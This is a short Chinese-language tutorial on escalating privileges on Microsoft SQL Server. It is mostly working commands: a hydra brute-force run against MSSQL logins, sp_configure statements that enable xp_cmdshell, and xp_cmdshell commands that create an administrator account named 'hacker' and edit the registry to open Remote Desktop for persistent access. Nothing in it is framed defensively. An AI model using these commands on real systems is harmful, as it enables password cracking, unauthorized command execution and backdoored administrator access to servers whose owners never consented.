一、SQLServer数据库提权前提条件:
1.以管理员身份运行数据库服务
2.已经获得SQL数据库的sysadmin权限
3.可以连接数据库
二、通过存储过程进行提权
hydra工具介绍:
-L:指定用户名字典
-P:指定密码字典
-vV:输出破解到的用户名与密码
-e:ns ,n空密码;s使用密码
语法: hydra -L user.txt -P pwd.txt -vV -e ns 192.168.239.130 mssql
案例: 暴力破解MSSQL的用户名与密码:
hydra -L ./User_name/username.txt -P ./User_password/密码.txt
-vV -e ns 192.168.239.130 mssql
MSSQL的存储过程介绍:
存储过程就是在服务端书写好对应的函数功能并命名,当客户端调用该存储过程时,只需要调用其名称即可。exec 存储过程名称
MSSQL提权的关键是利用xp-cmdshell这个存储过程。默认该存储过程是不能被调用的。
开启xp_cmdshell存储过程:
exec sp_configure 'show advanced options', 1
reconfigure
exec sp_configure ‘xp_cmdshell’, 1
reconfigure
到此提权完毕!
验证提权结果:
关闭xp_cmdshell存储过程:
exec sp_configure ‘xp_cmdshell’, 0
reconfigure
exec sp_configure 'show advanced options', 0
reconfigure
利用MSSQL提权后的持续访问:
修改远程登录桌面的设置,实现远程访问数据库服务器。
1)exec xp_cmdshell 'net user hacker 123.com /add'
2)exec xp_cmdshell 'net localgroup administrators hacker /add'
3)打开远程桌面:
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
4)使用黑客机连接数据库服务器